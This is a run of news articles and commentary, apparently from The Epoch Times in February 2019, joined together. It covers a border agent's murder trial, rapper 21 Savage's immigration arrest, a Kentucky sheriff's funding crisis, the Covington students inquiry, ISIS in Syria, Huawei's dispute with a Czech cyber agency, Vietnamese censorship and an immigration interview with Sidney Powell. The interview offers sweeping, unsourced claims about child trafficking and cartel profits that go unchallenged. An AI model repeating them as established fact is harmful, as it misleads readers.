Didnt know the family but have two sons. Every parents worst nightmare. I prayed for Mathews safe return. My deepest sympathies to his friends and family, added another.

My oldest is friends with Andrew and my youngest has known Matt since 6th grade. We are heartbroken. You are all in our thoughts and send comfort in this time of loss. RIP Matthew, said another.

No words can be said to heal what happened but wanted to let you know my heart aches for you all during this difficult time. ((Hugs)), said another.

Missing Persons

Over 600,000 people go missing in the United States every year, according to the National Missing and Unidentified Persons System. Many of the missing adults and children are found safe but others are never found or are found dead.

It is estimated that 4,400 unidentified bodies are recovered each year, with approximately 1,000 of those bodies remaining unidentified after one year, the center stated. As of Jan. 22, there were 15,325 open missing person cases in addition to 12,449 open unidentified person cases.

As of Dec. 31, 2017, the National Crime Information Center had over 88,000 active missing person cases across the country. But hundreds of thousands of cases were resolved that year. Approximately 651,000 missing person records were entered but about the same number were removed.

Reasons for these removals include: a law enforcement agency located the subject, the individual returned home, or the record had to be removed by the entering agency due to a determination that the record is invalid, the center stated.

From NTD NewsA United States Border Patrol vehicle returns from the scene of an overnight shootout where Border Patrol Agent Brian Terry was killed northwest of Nogales, Ariz., on Dec. 15, 2010. (Greg Bryan/Arizona Daily Star via AP, File)

Man Convicted of 1st-Degree Murder in Border Agents Death

TUCSON, Ariz.A man accused of pulling the trigger in the 2010 shooting death of a Border Patrol agent in the southern Arizona desert was convicted of first-degree murder and other charges on Feb. 12.

Heraclio Osorio-Arellanes also was found guilty by a United States District Court jury after brief deliberations on counts of second-degree murder, conspiracy to affect interstate commerce by robbery, attempted robbery, assault on four Border Patrol agents, and carrying a firearm during a crime of violence.

Hes scheduled to be sentenced April 29.

Osorio-Arellanes was among seven people charged in the Dec. 14, 2010, slaying of 40-year-old Border Patrol Agent Brian Terry north of Nogales, Arizona. He was arrested by Mexican authorities in April 2017 and extradited to the United States last August to stand trial.

Terrys killing publicly revealed the Fast and Furious operation, in which U.S. federal agents allowed criminals to buy firearms with the intention of tracking them to criminal organizations. But the United States Bureau of Alcohol, Tobacco, Firearms, and Explosives lost track of most of the guns, including two found at the scene of Terrys death.

The operation set off a political backlash against the Obama administration and prompted the agents family to sue.

Terry was part of a four-man team in an elite Border Patrol unit staking out the southern Arizona desert on a mission to find rip-off crew members who rob drug smugglers. They encountered a group and identified themselves as police in trying to arrest them.

The men refused to stop, prompting an agent to fire bean bags at them. They responded by firing from AK-47-type assault rifles. Terry was struck in the back and died shortly afterward.

Agent Terrys team encountered five individuals, at least two of whom were armed with rifles, in the Peck Well area near Rio Rico, Arizona. During the attempt to arrest these individuals, the agents and suspects fired shots. Agent Terry was mortally wounded during the exchange of gunfire and succumbed to his injuries on December 15, 2010, said a memoriam on the U.S. Customs and Border Protections website.

The memoriam mentions that Agent Terry was a native of Flat Rock, Michigan. He joined duty as a member of the 699th Session of the Border Patrol Academy on July 23, 2007. After graduation, he was assigned to the Tucson Border Patrol Sector.

Prior to joining the Border Patrol, Agent Terry served in the U.S. Marine Corps and as a Police Officer in his home state of Michigan. Agent Terry is survived by his parents, his brother, and two sisters, the memoriam said.

Five of the seven defendants charged in Terrys killing are serving prison sentences after pleading guilty or being convicted in the case. One other man was arrested in October 2017 and still is awaiting trial.Lawyer: Rapper 21 Savage Granted Immigration Bond

Grammy-nominated rapper 21 Savage was granted bond for release on Feb. 12 after spending more than a week in federal immigration custody, but he wasnt freed right away, his lawyer said.

The rapper, whose given name is Sheyaa Bin Abraham-Joseph, was arrested during a targeted immigration operation early on Feb. 3. Immigration and Customs Enforcement officials said at the time that the British citizen had overstayed his visa and had a felony conviction.

Abraham-Joseph, 26, was granted bond too late Tuesday to be released right away, immigration lawyer Charles Kuck said by phone, adding that he anticipates his client will be released Wednesday.

In an emailed statement, lawyers Kuck, Dina LaPolt, and Alex Spiro said theyve been speaking with ICE since his arrest to clarify his actual legal standing, his eligibility for bond, and provide evidence of his extraordinary contributions to his community and society.

They said they received notification in the previous 24 hours, in the wake of the Grammy Awards at which he was scheduled to attend and perform, that he was granted an expedited hearing. The Grammy Awards ceremony was held Sunday.

Abraham-Joseph was nominated for two awards at the Grammys, including record of the year for Rockstar alongside Post Malone. His second solo album I Am I Was, released in December, debuted at No. 1 on the Billboard 200 albums chart.

After his arrest, ICE said Abraham-Joseph entered the U.S. legally in July 2005, when he was 12, but has remained in the country illegally since his visa expired in July 2006. He was convicted on felony drug charges in October 2014 in Fulton County, Georgia, ICE said. He was placed in deportation proceedings in federal immigration court.

Abraham-Josephs lawyers disputed that. They said last week that Abraham-Joseph came to the U.S. when he was 7 and remained in the country until June 2005, when he went to visit the United Kingdom for a month. He returned on a valid visa on July 22, 2005, they said.

Mr. Abraham-Joseph has been continuously physically present in the United States for almost 20 years, except for a brief visit abroad, his lawyers said. Unfortunately, in 2006 Mr. Abraham-Joseph lost his legal status through no fault of his own.

Federal immigration officials have known Abraham-Josephs status since at least 2017, when he applied for a new visa. That application is pending, his attorneys said.

The attorneys also said ICE was incorrect that Abraham-Joseph has a felony conviction on his record. Fulton County prosecutors said they could not provide information on that case because it is sealed.

Abraham-Josephs lawyers said Tuesday that he asked them to send a message to his supporters.

(H)e says that while he wasnt present at the Grammy Awards, he was there in spirit and is grateful for the support from around the world and is more than ever, ready to be with his loved ones and continue making music that brings people together, they said.

He added that he will not forget this ordeal or any of the other fathers, sons, family members, and faceless people, he was locked up with or that remain unjustly incarcerated across the country. And he asks for your hearts and minds to be with them.

21 Savages English Origins Stun Fans of the Atlanta Rapper

It was a shock for fans when 21 Savage was taken into custody by U.S. immigration agents in Georgia. It was an even bigger shock to learn he had been an immigrant in the first place.

The Grammy-nominated rapper and his music are so deeply associated with Atlanta that the notion he was actually born in England and brought to the U.S. as a child felt downright bizarre.

Scores of surprised tweets came after his Sunday arrest. Memes bloomed that some called cruel under the circumstances, including one of him dressed as a Buckingham Palace guard, along with an old video of him talking in a mock English accent about tea and crumpets. While the United Kingdom is responsible for rap icon Slick Rick, he also grew up in America, and its rappers traditionally have not had much success in America.

It seems so outlandish that the prototypical Atlanta rapper is not from Atlanta, said Samuel Hine, a writer and editor at GQ who researched 21 Savage and spent a day with him for a profile in the magazine last year. I think thats why so many people were sort of making fun of him, and making memes.

By all accounts, few knew his real birthplace, and it certainly wasnt publicly known. His accent gave no indication, and his birth name, Sheyaa Bin Abraham-Joseph, could come from any number of birthplaces.

I certainly heard no whispers challenging his accepted backstory, Hine said.

Abraham-Joseph was detained in a targeted operation in the Atlanta area and put in deportation proceedings, U.S. Customs and Immigration Enforcement spokesman Bryan Cox said.

Abraham-Josephs attorneys said U.S. immigration officials have known his status at least since 2017, when he applied for a new visa. That application is pending, and his attorneys say he should be freed while its pending.

Both sides agree that Abraham-Joseph has not had legal status since his familys visas expired in 2006. ICE alleges that Abraham-Joseph came to the U.S. in 2005 at age 12 while Abraham-Josephs attorneys say he began living here at age 7, and the 2005 arrival was from a monthlong visit to England.

Mr. Abraham-Joseph has been continuously physically present in the United States for almost 20 years, except for a brief visit abroad, Kuck Baxter Immigration, the law firm representing Abraham-Joseph, said in a statement Tuesday. Unfortunately, in 2006 Mr. Abraham-Joseph lost his legal status through no fault of his own.Kentucky Sheriff Suspends Law Enforcement: Lock Your Doors, Load Your Guns

A Kentucky sheriff has suspended law enforcement over a lack of funding, advising residents to lock your doors, load your guns.

Without a $75,000 payment from the fiscal court that he said should have been delivered in January, Martin County Sheriff John Kirk announced he was temporarily suspending law enforcement activities, reported the Lexington Herald.

The suspension leaves law enforcement in the hands of Kentucky State police, with one patrol often covering several counties.

I will have to move my only other deputy to day shift and that will leave no protection on nights  Law enforcement as we have known for the last four years will not exist. Kirk wrote on Feb. 3. Im sure the thieves and drug dealers will have a ball.

Myself and my only paid deputy will have to help with court, serve papers, and do court ordered transports. The state police will have to answer all complaints.

The funding gap faced by Martin County Sheriff is being felt across eastern Kentucky, where income from coal severance taxes that bolstered the coffers of local government services has declined dramatically in recent years.

One eastern Kentucky county recently lost its credit rating, making it almost impossible to borrow money, reported the Herald.

Kirk said that his wife has worked many evenings and weekends voluntarily at the office to help keep it afloat. She has a full-time job and drives two and a half hours to and from her job everyday.

Folks, Unless the Lord intervenes today, we are in trouble, he wrote.

I want to address the citizens of our county. I have been your Sheriff for over four years now. It has been a struggle Gepostet von John Kirk am Sonntag, 3. Februar 2019

Lock your doors, load your guns and get you a barking, biting dog. If the Sheriffs office cant protect you, who will?

Kirk was writing the day before a showdown at the local fiscal court on Feb. 4.

We made it because we run around with borrowed tires on our vehicles with the wires sticking out of them, Kirk told the fiscal court, reported the Lexington Herald. We made it because we ran around with plugs in our tires, which is illegal to plug an emergency vehicle tire.

Coal Revenues Drop From $5.6 Million to $1 Million

Martin County Sheriff John Kirk (Martin County Sheriffs Office)Last month, another eastern Kentucky county, Knott County, was partially shut down by the local fiscal court. Health insurance for all county employees and elected officials was cancelled.

In another eastern Kentucky countyPike Countya highly critical audit by the state auditor prompted S&P to withdraw its support making it nearly impossible to borrow money, according to the Herald.

Pike County is the largest local government in the state. Last year it received just $1 million from the economic assistance fund, which returns a portion of state-collected mineral severance taxes to local governments. In 2012, it received $5.6 million.

Kentucky State Police KSP spokesman William Petry told The Associated Press the cut in tax funding has put strain on troopers as they cant rely on help from local law enforcement. But he added, Were going to respond as we always have.

From the comments on Kirks Facebook page, he appears to have the support of the local community, with people offering help.

How could any retired Veterans come volunteer to patrol, respond, do admin work, court protection, prisoner transfers and others assistance? asked one person. All wed need is to be sworn in or deputized?

Sounds like an honest man telling yall how it is, wrote another. Fact is they cant be everywhere even if they are well-funded, so his advice is well-spoken in any case.

Some suggested setting up an online donations page.

The advise to arm yourself and get a dog that protects us is good advice even when the police are funded, wrote one person on Kirks post. I hate to see a situation like this.

I know there are people who dont appreciate what the police do but from personal experience, Ive never called a thug or congressman to help me in times of danger. I call the police.

Sounds like this sheriff has gone above and beyond to keep citizens safe. Shame on the administration for not doing the same.Nick Sandmann, wearing a "Make America Great Again" hat, looks at Nathan Phillips, a Native American anti-President Donald Trump activist, after Philipps approached the Covington Catholic High School student in Washington on Jan. 18, 2019. (Survival Media Agency via AP)

Investigation Shows Covington Students Didnt Instigate Viral Confrontation in Washington

Investigators have concluded that the group of high school students involved in a confrontation in Washington that went viral did not instigate the confrontation.

Three groups converged on Jan. 22 in front of the Lincoln MemorialCovington Catholic High School students, fresh from the March for Life and awaiting buses to take them back to Kentucky; Native Americans, who were part of an Indigenous People March; and Black Hebrew Israelites, a fringe religious group that shouted slurs at the two other groups.

A short video clip from the confrontation showing activist Nathan Phillips, a Native American, banging a drum in the face of Covington student Nick Sandmann as the teenager stood still and smiled went viral. Phillips claimed the students shouted things at him and his group, including Build the Wall, but no video evidence of that has emerged. He also said the students blocked him from going to the memorial.

But full video footage of the interaction showed that Phillips was the one who approached the students and could have gone around either side of them to reach the memorial. It also showed a member of his group yelling at the students that white people should go back to Europe where you came from.

In the final investigative report released on Feb. 11 and circulated publicly on Feb. 13 (pdf), a firm hired by Covington Diocese and the high school stated that it found no evidence that the students brought on the situation.

The Great Cincinnati Investigation firm said four licensed investigators spent approximately 240 hours probing the incident, including interviewing 43 students, interviewing 13 chaperones, attempting repeatedly to interview Phillips, and reviewing approximately 50 hours of internet activity, including all major news networks, YouTube, Facebook, and Instagram.

The firm said the students arrived at the memorial at different times and there was no evidence that those who were accosted by the Black Hebrew Israelites responded with any offensive or racist statements of their own.

There was also no evidence supporting Phillips claim that the students chanted Build the Wall and no evidence the students made offensive or racist statements to Phillips or members of his group.

Students said that they thought Phillips came into their group to join in with school cheers they were performing that had started as an attempt to drown out the Black Hebrew Israelites. No one felt threatened by Phillips, though many were confused by what he was doing.

While many students were wearing Make America Great Again hats, a fact used by a number of media outlets and blogs as some kind of evidence of their purported racism, few arrived in Washington wearing the hats and most purchased them before, during, or after March for Life.

In years past, some chaperones reported that some students had purchased Hope hats in support of [former] President [Barack] Obama, the firm stated. We found no evidence of a school policy prohibiting political apparel on school-sponsored trips.

The investigation included looking into a video where a boy is seen making an offensive comment to a group of girls at the memorial. Investigators said that the boy was not a student at Covington.

Covington officials celebrated the findings after they were released.

Covington Catholic Parent L by on Scribd



Our inquiry conducted by a third party firm  has demonstrated that our students did not instigate the incident that occurred at the Lincoln Memorial, Covington Bishop Roger Foys wrote in a letter to students and parents in response to the findings.

Foys said that the short video that went viral brought to mind to adages: Seeing is believing and Perception is reality.

The immediate world-wide reaction tot he initial vide led almost everyone to believe that our students had initiated the incident and the perception of those few minutes of video became reality, he said.

In truth, taking everything into account, our students were placed in a situation that was at once bizarre and even threatening. Their reaction to the situation was, given the circumstances, expected and one might even say laudatory.

From NTD NewsMembers of Syrian Democratic Forces (SDF) stand near a pick up truck near Baghouz, Deir Al Zor province, Syria Feb. 11, 2019. (Rodi Said/Reuters)

In Eastern Syria, Foreign Families Flee Last ISIS Enclave

NEAR BAGHOUZ, SyriaDozens of relatives of foreign fighters including Iraqis, Turks, and Russians fled Islamic States last bastion in eastern Syria on Feb. 12 as the jihadists lost ground to U.S.-backed forces.

A field commander with the Kurdish-led forces, which are pushing further into the besieged pocket, said mostly foreign militants were making their last stand.

The Syrian Democratic Forces (SDF), which holds about a quarter of the country, has mounted an attack to seize the enclave with the help of U.S. air strikes. Many hundreds of civilians streamed out in the past two days alone.

The SDF made slow and methodical progress in the battle near the Iraqi border, according to the U.S.-led coalition backing it.

Around 300 civilians who fled on Feb. 12 were transferred in trucks to a camp in the northeast. They appeared exhausted or hungry, and some of the children were barefoot.

Several people identified themselves as Iraqi, Turkish, Ukranian or Russian.

A fleet of 15 vehicles carrying U.S. forces headed along a dirt road towards the frontlines.

At the edge of Baghouz, civilians who had escaped stood in line for questioning by U.S. and SDF forces who were apparently trying to find wanted militants.

The SDF believes 400 to 600 militants remain holed up in the enclave, including many hardened foreigners and some emirs. Its spokesman said last month that most of the civilians still there were the wives and children of the militants.

We are seeing fierce resistance from the Daesh fighters, SDF field commander Adnan Afrin told Reuters on the outskirts of Baghouz.

Most are foreigners, Iraqis, Europeans. There are a lot of Turks. We can hear them on the walky-talkies. He said the jihadists now held only one square km (0.4 square miles) of the village.

By Rodi SaidHuawei Vows to Sue Czech Cyber Watchdog for Naming It a Security Threat

After a Czech cyber watchdog identified Chinese tech giant Huawei as a security threat, the company is threatening to take it to court and initiate international arbitration for damaging the firms reputation.

In a Feb. 7 letter addressed to the independent governmental body Czech National Office for Cybernetics and Information Security (NUKIB), as well as Czech Prime Minister Andrej Babis, the company called for the cancellation or modification of the warning issued by NUKIB back in December 2018, which identified Huawei and its Chinese competitor ZTE as security threats.

The Czech newspaper DenikN quoted Huaweis letter, which alleged that the NUKIB office seriously damaged the company in the Czech Republic and abroad, and the company has suffered losses for it and its brand has been damaged.

Huawei requested a response to the letter by Feb. 14, threatening that if the warning is not canceled or modified by then, Huawei intends to file a lawsuit on February 17, a NUKIB spokesman said.

In the letter, Huawei also denied the existence of backdoors in its products, which international governments had expressed concerns could be exploited by Beijing to conduct espionage.

The warning is therefore not based on fact and the above legal conditions for its issuance have not been met, Huawei said in the letter.

Experts such as the head of the non-governmental Czech Institute of Information Security Managers Ales Spidla has previously warned of Huaweis potential threats due to the Chinese regimes laws that mandate Chinese firms give up data and intelligence information to authorities if requested.

Some Czech state agencies have begun to exclude products and services by Huawei and ZTE since NUKIB issued its warning, wrote the Czech daily Pravo.

The fact that the United States is taking a hard stance against Huawei has played no role in the NUKIBs decision to issue its warning, according to the agencys director Dusan Navratil. Weve even found that the United States was actually very surprised with our warning, Navratil said in a Feb. 7 interview with DenikN.

The basic thing is that in Chinas political-legal environment, private companies are subordinate to Chinas interests, intelligence interests, and the interests of the Chinese Communist Partynot to the interests of its customers, Navratil said in another Feb. 7 interview, for Pravo.

The Czech government said the NUKIB office would make an appropriate response to Huaweis letter, during a Feb. 8 press conference.

The NUKIB is independent  We will certainly not pressure an independent body to change its decision in any way, deputy prime minister Richard Brabec said.

Background

The Czech secret service BIS has repeatedly pointed out Chinese influence in the Czech Republic since 2013. BIS Director Michal Koudelka said in November 2018 to the Czech Parliament that China is interested in military-technological information and is trying to influence the Czech political scene, reported DenikN.

Koudelka has been running the BIS Counterintelligence Division for ten years.

Meanwhile, Czech President Milos Zeman, who has openly courted Chinese investment and closer relations with the Chinese regime, criticized the China concerns made by BIS and NUKIB during a Czech television program that aired on Jan. 10. He noted that drawing Chinas ire would prompt retaliatory action that could harm Czech companies. Meanwhile, the Czech prime minister and other cabinet ministers reacted in support of the BIS and NUKIB.

For his criticisms of the Czech government agencies work, President Zeman has received broad criticism from Czech society.

Sinologist from the Czech Academy of Sciences Ondrej Klimes said that the president has become a spokesman for the Chinese regime, who does not advocate the interests of the Czech Republic, in a Jan. 14 interview for Czech Television.

The Prague-based think tank Association for International Affairs published an analysis in June 2018, showing that President Zeman has the greatest influence on creating positive media discourse about China in Czech media.

Meanwhile, Czech senator and former presidential candidate Jiri Drahos wrote on his Twitter account on Jan. 10: The Chinese probably rebuked their chief salesman [Zeman], so he is now threatening his own country with retaliatory measures.

A previous version of this article misidentified the institution affiliation of Ondrej Klimes. The Epoch Times regrets the error.Tea estate workers would get an additional Rs. 50 to the current daily wage of Rs. 750 as a budgetary allocation from the government for one year, Plantation Industries Minister Navin Dissanayake said today.

This is the outcome of a discussion I had last morning with Prime Minister Ranil Wickremesinghe and senior officials of the Prime Ministers Office, Minister Dissanayake added.

He told a news conference at the Sri Lanka Tea Board auditorium today that the extra Rs. 50 would be paid outside the collective agreement reached on January 27 to increase the daily wage to Rs.750.

The Tea Board will foot the bill of Rs. 1.2 billion to pay Rs. 50 per day for tea plantation workers for one year and we expect the treasury will reimburse it to the board as it will come as a budget proposal. The payment will be started from the effective day of the budget 2019, Minister Dissanayake said.

He said that although there were repeated demands to pay Rs. 1,000 a day for tea plantation workers, the management of plantation companies flatly refused it saying that they couldnt afford it considering the production cost and other overheads of the tea industry.

The wages are decided by the collective agreement signed biannually between the Ministry of Labour and Trade Union Relations, plantation companies and trade unions representing tea plantation workers. He added, therefore, he could not propose to the government to increase salaries.

The decision to increase the salary by Rs. 50 per day was taken by listening to their demand for Rs. 1,000 per day and also on the representation made by Upcountry New Villages, Estate Infrastructure and Community Development Minister Palany Digambaram and trade unions who did not take part in the discussions that increased the salary to Rs. 750 in late January. (Sandun A Jayasekera)

Video by AmanthaIn November, before the rains, when water is at its sparsest, elephants enjoy soaking their feet to cool off the fiery temperatures.(Giannella M. Garrett)

Georgia Man Photographed With Dead African Elephants Said They Charged at Him

A Georgia businessman, who was photographed holding a gun next to two dead elephants in Zimbabwe, said the pachyderms charged at him, forcing him to shoot them.

Mike Jines, a partner with TopGen Energy in Georgia, offered his side of the story after people slammed him on social media for killing the elephants. He reportedly killed the elephants in October.

The two elephant [sic] that are shown in the photos were shot in self-defense, in an unprovoked charge and both elephants were fully mature cows, not juveniles, he told local news outlet CBS46.

He claims he killed them in 'self-defense'  Gepostet von Daily Mail am Montag, 11. Februar 2019

Some news outlets and users on social media said the two elephants were babies, but he said both elephants were fully mature cows, not juveniles.

The hunt started with a bang . . . literally. Less than thirty minutes into the first morning of the first day we experienced a double elephant cow charge. This was obviously a first for me but it turns out it was a first for [fellow hunter] Buzz as well, he also said.

We saw a group of cows from the road and decided to follow them to see if a tuskless was in the group. We caught them quickly and identified a tuskless. We positioned ourselves to get a good look at the tuskless and concluded that since it was just Day 1 we would pass.

Jines said one of the elephants charged at him, and he and the other hunter fired two shots each, killing it.

 Ein Trophaenjager posiert stolz neben zwei erschossenen Elefanten in Simbabwe. Er verteidigt die Jagd, indem er Gepostet von Pro Wildlife e.V. am Dienstag, 12. Februar 2019

Another elephant charged at them from behind, and both each fired one shot, killing the other.

She crashed to the ground with her hind legs out behind her, indicating the speed and determination of her charge. The two cows were less than forty feet apart with Buzz and I in the middle, Jines elaborated.

The Georgia man said he wanted to share his side of the story amid what he describes as rampant mischaracterizations of the event on social media websites.

In search of tusk-less elephants to slaughter, this man killed these two teens from a herd of females, claiming they charged him. Then he posed with, and between their dead bodies. These babies were mourned by the herd. Greed & Ego! @Protect_Wldlife @rickygervais @PeterEgan6 pic.twitter.com/kzWr4R33p1  Xpose Trophy Hunting (@XposeTrophyHunt) January 16, 2019

Jines, who said he isnt sure how the photos got online, added that most of the responses have been threatening and insulting.

You have no heart, no soul. This is sickening and pathetic. Its just so sad to see this, one irate Twitter user wrote about the photos, according to the Daily Mail.

Another tweeted: Theres evil, and then theres you #mikejines one can only hope the universe and all that is just punish (sic) you for killing those elephants. Boycott #TopGenEnergy.

While I can appreciate that hunting can be polarizing and that views on hunting can vary materially, I am sure that you can appreciate what it is like to deal with the vitriol particularly when the underlying information in this case is inaccurate, Jines stated.

Hunting Is Beneficial?

The U.S. Fish and Wildlife Service has said that hunting big animals like elephants and lions actually brings in money that countries can use for anti-poaching programs.

The Service will continue to monitor the status of the elephant population, the management program for elephants in the country to ensure that the program is promoting the conservation of the species, and whether the participation of U.S. hunters in the program provides a clear benefit to the species, U.S. Fish and Wildlife said in 2017 (pdf).

Safari Club International, a hunting and conservation advocacy group, echoed those claims.

These positive findings for Zimbabwe and Zambia demonstrate that the Fish and Wildlife Service recognizes that hunting is beneficial to wildlife and that these range countries know how to manage their elephant populations, said the organizations president, Paul Babaz.We appreciate the efforts of the Service and the U.S. Department of the Interior to remove barriers to sustainable use conservation for African wildlife.Vietnamese blogger Nguyen Ngoc Nhu Quynh (2nd R), also known as "Mother Mushroom," stands trial at a courthouse in the central city of Nha Trang on June 29, 2017. STR/AFP/Getty Images

Free Speech on the Internet Under Attack

Commentary

The internet, while providing platforms for many and information to all, is also a threat to oppressive governments. These governments have recognized this threat and are finding ways to push back.

Vietnam recently put a new cybersecurity law into effect. The law, which the National Assembly passed in June 2018, seems modeled on one already in place in China. It criminalizes criticism of the government and puts strict controls on tech companies operating in that nation. Companies such as Facebook and Google are now supposed to open offices in Vietnam, store data locally, verify user information, and disclose user data to authorities without a court order.

The law also requires social media companies to remove any content that authorities deem offensive.

Of course, the government-run Vietnamese media described the purpose of this law as protecting national security and [ensuring] social order and safety on cyberspace, and responsibilities of agencies, organizations and individuals.

In speech on New Years Day, Vietnamese Prime Minister Nguyen Xuan Phuc said: Mass communication efforts must be stepped up to create social consensus. Those abusing the freedom of information and free speech, causing harm to the interests of the State and citizens, would receive appropriate punishments.

The reality, however, is that the law is an enormous threat to the civil liberties of Vietnamese citizens. The government can ban critical speech, and it can get information about those who posted it. Thats not a good thing.

According to Human Rights Watchs deputy director for Asia, the new law was designed to further enable the Ministry of Public Securitys pervasive surveillance to spot critics and to deepen the Communist Partys monopoly on power. He said, Anyone who uses the internet in Vietnam will have zero privacy.

There is no reason to think that the government will hesitate to use the new law to its fullest extent. A popular Vietnamese blogger, Nguyen Ngoc Nhu Quynh, was arrested at least twice by the Department of Public Security due to her online protests of the Vietnamese governments corruption and human rights violations. Authorities arrested her for the first time in 2009, but she was released after spending a short time behind bars. In 2016, she was re-arrested, tried, and convicted of conducting propaganda against the Socialist Republic of Viet Nam. She was sentenced to 10 years in prison.

Quynhs arrest gained attention after U.S. first lady Melania Trump presented her with a 2017 International Women of Courage Award (in absentia). Fortunately, Quynh was released late in 2018 after serving around two years in custody and she was granted asylum in the United States. Unfortunately, that was not the end of online speech suppression in Vietnam.

Shortly after Quynh was released, fellow dissident Nguyen Dinh Thanh was sentenced to seven years for spreading anti-state materials. According to state media, the former medical student was guilty of printing anti-government leaflets to be distributed at nationwide protests. In fact, more than 55 bloggers, protesters, and Facebook users were jailed for expressing their opinions in 2018 alone. That year, Reporters Without Borders ranked Vietnam as 175th out of 180 countries in its index of press freedom.

A Constitutional Right

This suppression of speech takes place despite the Vietnam constitution, adopted in 2013, which provides in Article 25 that: The citizen shall enjoy the right to freedom of opinion and speech, freedom of the press, of access to information, to assemble, form associations and hold demonstrations. The practice of these rights shall be covered by the law.

All of the press in Vietnam is state-owned, at least in part. Thus, while national laws provide that reporters have a legal right to gather information, those same laws require the media to be a forum for the peoplein other words, a mouthpiece for the Communist Party. Vietnamese journalists are legally required to propagate the doctrine and policies of the Party, the laws of the State, and the national and world cultural, scientific and technical achievements of the nation.

Criticism of the Communist Party or the reigning government is prohibited. The penal code even forbids making, storing, or circulating cultural products with contents against the Socialist Republic of Vietnam. It is not clear exactly what that means, but that may be the point. When a speech restriction is overly vague, speakers tend to self-censor. That is why such laws are unconstitutional in the United States. It may also be why they are in place in Vietnam.

Vietnams Central Propaganda Department meets each week in Hanoi with officials from the Ministry of Information and Communications, Ministry of Public Security, newspaper editors, and publishers. Each newspapers performance in the preceding week is evaluated. Those that followed Party guidelines are commended, while those that did not are reprimanded or punished.

The Communist Party also monitors foreign language publications that are available in Vietnam. Foreign journalists are required to seek permission from the Ministry of Foreign Affairs before they start any journalistic activities. Occasionally, foreign newspapers and magazines have been reprimanded or even made to recall issues that were deemed disrespectful to the state. Some foreign publications even have resident governmental censors to make sure nothing that could be deemed objectionable gets published.

Cause for Concern

Beyond simple humanitarian concerns, these laws are of concern to people outside Vietnam; because the lure of censorship is great, the practice is spreading, and internet censors in any one nation can impact freedom in every nation.

Many European nations already prohibit speech that is offensive to race or personal dignity. Some of them also criminalize statements that minimize the Holocaust. Last year, Frances parliament passed a law empowering judges to order the immediate removal of fake news during election campaigns. While these may on the surface seem like good things (French President Emmanuel Macron supported the legislation in his nation), giving any government the power to control speech is dangerous.

French politician Julien Rochedy said of the new law in a tweet, The French state finally has a monopoly on truth and mass diffusion. It can legally censor anything it doesnt like. The return of the 1930s.

European regulators already pressure American tech companies to control and suppress some forms of speech. According to regulators, companies will face new laws and potential financial liability if they do not comply. As a result, a wide array of protected speech, including political criticism and newsworthy content, may be removed from online platforms around the world.

American internet providers have traditionally resisted pressure to restrict expression, but there are signs that they cannot hold out much longer. In Vietnam, Facebook and Google are really only pushing back against the localization requirements.

A CATO Institute report noted that American tech companies have tailored speech policies to European norms rather than American ones, not because of market forces, but because of threatened legislation. Perhaps most surprising, Apple, which once fought to protect the confidential information of its users (even if they were terrorists), has been much more willing to cooperate with authorities in recent times.

Free press and free speech are the best defenses against an overreaching government. Governmental control over expression is dangerous. When that control is over a worldwide platform like the internet, the threat is enormous. Thats why encroachments upon free speech on the internet must be opposed, wherever and whenever they take place.

Ronald J. Rychlak is the Jamie L. Whitten chair in law and government at the University of Mississippi. He is the author of several books, including Hitler, the War, and the Pope, Disinformation (co-authored with Ion Mihai Pacepa), and The Persecution and Genocide of Christians in the Middle East (co-edited with Jane Adolphe).

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.Former Texas Prosecutor Sidney Powell on Legal Loopholes Behind Americas Immigration Crisis  American Thought Leaders

As a former Texas prosecutor, Sidney Powell has seen some of the disturbing consequences of bad immigration policy.

Powell sees loopholes in the U.S. immigration system that encourage child trafficking and help funnel millions of dollars to drug cartels. In our interview, she talks about the ease of fraudulent asylum claims, activist judges, caravans, an overwhelming backlog of immigration cases, as well as diversionary tactics and what she calls trojan horses, which all contribute to a broken immigration system.

To deal with this, Powell encourages a harsh medicine: a temporary halt to all immigration while the administration can bring everything under control.

Sidney Powell was the lead counsel in more than 500 appeals in the U.S. Court of Appeals for the 5th Circuit. Shes also the author of License to Lie: Exposing Corruption in the Department of Justice.

Jan Jekielek: President Donald Trump has described the porous southern border as a humanitarian crisis, as a national crisis. You had some personal experience from what I understand with illegal immigration from years back. Can you flesh that out a little for us?

Sidney Powell: Yes, definitely. I was a federal prosecutor in the Western District of Texas. We had more than 600 miles of border in the Western District of Texas alone. We saw all manner and means of crime coming across the border on a daily basis. It was absolutely astounding, and this was several decades ago now. It has only gotten worse. Its beyond capacity for the Border Patrol to handle it at this point, and we absolutely must have the fence and barricades that the president has talked about. It has made a huge difference in El Paso where theres fencing. Its made a huge difference in San Diego where theres fencing, and it protects the Border Patrol agents themselves from immediate and direct contact, except when theyre prepared to have it.

Mr. Jekielek: So your personal experience was that where this fencing or wall existed, there was a reduction in crime?

Ms. Powell: Oh, definitely. Yes. Theres much greater security where there is a fence. And it gives the Border Patrol agents a chance to prepare for whatever it is they need to deal with. And it controls and funnels the traffic to where they can deal with it.

Mr. Jekielek: Im going to jump to the main topic for today, which is loopholes in the immigration system. I want to get your thoughts on these areas. Its generally agreed that there are many loopholes that basically allow, to some extent, unchecked illegal immigration. What are your thoughts on what the biggest of these loopholes are?

Ms. Powell: Well theres several huge loopholes. One is the asylum provision that lets people just make blanket claims of needs for asylum. And, of course, [former] Attorney General [Jeff] Sessions tried to set forth some more reasonable standards for thatwhich is completely within his discretion to do under the lawbut a district court judge has already tried to set that aside and cause problems for the administration in enforcing that. Even though, as I said, it was within Sessions discretion to do that. So thats in litigation now. And then also theres the whole issue of human trafficking, which is an absolute abomination. Human trafficking is the fastest growing offense in the country, and its affecting our children, as well as children brought here from other countries. Its become a loophole in the immigration laws because of the way the statute is written and protections that it affords and its actually become  The way its enforced has become a means of encouraging human trafficking, as opposed to discouraging it.

Mr. Jekielek: Can you unpack that a little bit. How does that law work? It actually encourages human trafficking?

Ms. Powell: Yes, because children that are brought here unaccompanied are now protected under our system as being human-trafficked. But that means that more and more are brought here. Its actually encouraging people to bring them here and abandon them; the drug cartels are literally making billions of dollars every year from doing that. And everybody knows that the children are raped and sexually abused along the way. Mothers are literally giving their children birth control pills for the trip. Its horrid. Its just beyond the comprehension of people who dont deal with and have anything to do with that world.

Mr. Jekielek: I understand that, if youre not from Mexico or Canada, and you arrive as an unaccompanied minor, they are actually not allowed to send you back. Tell us a bit more, because I dont get that.

Ms. Powell: Yeah. It makes no sense at all. We have to be able to return children to their parents in their countries. And we simply cannot become the orphanage for the world. Nor can we continue to allow this human-trafficking operation to flourish the way it is. We are simply feeding the drug cartels billions of dollars a year by doing it.

